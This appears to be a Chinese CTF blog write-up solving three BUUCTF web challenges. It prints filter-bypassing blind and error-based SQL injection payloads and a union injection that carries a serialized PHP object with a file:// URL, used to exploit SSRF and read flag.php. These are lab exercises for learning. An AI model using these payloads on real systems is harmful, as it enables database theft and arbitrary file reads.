buuctf-web-5
[CISCN2019 华北赛区 Day2 Web1]Hack World1
[极客大挑战 2019]HardSQL1
[网鼎杯 2018]Fakebook1–SSRF
[CISCN2019 华北赛区 Day2 Web1]Hack World1
测试输入,id=1,返回Hello, glzjin wants a girlfriend.,id=2时,回显Do you want to be my girlfriend?,>=3的时候是Error Occured When Fetch Result.,尝试单引号,报bool(false),双引号SQL Injection Checked,被过滤了,包括空格、or、union等都被过滤。
但是在输入id=3/3时,返回Hello, glzjin wants a girlfriend,说明是数字型的sql注入。
id=1/(1),也可以正常返回,说明括号没有过滤,这样的话很多函数就可以使用,
测试length
可以看到length()是可以正常使用的,测试出的数据库长度为11
接下来,测试数据库名字id=(ascii(substr(database(),1,1))>32)
写一个脚本进行爆库名
1 | import requests |
由于题目直接说了flag在flag中
所以可以直接尝试爆出flag,先进行测试,由于不能用空格,用括号括起来
id=(ascii(substr((select(flag)from(flag)),1,1))>32)
id=(ascii(substr((select(flag)from(flag)),1,1))>111)
写脚本爆破
1 | def flag(): |
[极客大挑战 2019]HardSQL1
Sql注入,先试试’和”
发现单引号有报错,双引号没有,没提示有括号,所以应该是普通单引号闭合的字符型注入。
发现如and/空格/union/select/=//**/等都被过滤了
我们试试报错注入
爆库
?username=1&password=1’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
爆表
?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)in(database()))),0x7e),1))%23
等于号不能用,可以使用in或者like
爆列
?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)in(‘H4rDsq1’))),0x7e),1))%23
查数据
?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(username,’-‘,password))from(H4rDsq1)),0x7e),1))%23
。。。。。。。只显示了一半,不显示username试试
还是不行。。。。。。
看wp说用right()语句在查询后面部分 这样就可以了 又get到了新技能。。。。
只查到了一半再用left()right()语句查询拼接
?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23
拼接
flag{ad86fce3-d802-4f16-b167-6f587c6298de}
[网鼎杯 2018]Fakebook1
查看源码,可以看到有base64的信息
新建了个用户进行简单的测试,可以看到百度的网址是被解析了的,而且在get参数那里可能存在SQL注入,可以试试
单引号
双引号
应该是布尔型
?no=1 and 1=1
?no=1 and 1=2
?no=1 order by 5
经测试一共四列
但是发现union select做了过滤,可以使用union/**/select绕过
可以看到2处会回显
查看数据库?no=-1 union/**/select 1,database(),3,4#
爆表
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆列
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’users’#
查数据
?no=-1 union/**/select%201,group_concat(no,’-‘,username,’-‘,passwd,’-‘,data),3,4 from fakebook.users#
额、、、、、、没有想象中flag,但是这是我们之前注册时提交的数据经过序列化之后的数据。
看来还是需要其他办法的,
看了网上的wp,扫描一下网站
在robots.txt中可以看到
访问试试,下载得到了源码
1 | function get($url) |
阅读源码可以看到
输入的blog经过了isValidBlog()函数的过滤
get()函数存在ssrf漏洞
当调用get方法时会访问某个url得到信息,如果该url被恶意利用,比如利用file协议,就可以读取任意文件。
而在刚刚上面的注出的数据,可以发现得到的数据是进过序列化之后的数据,所以然后尝试利用ssrf漏洞读取flag.php。
构造payload为:
/view.php?no=0 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:19;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’
查看源码,base64解码即可得到flag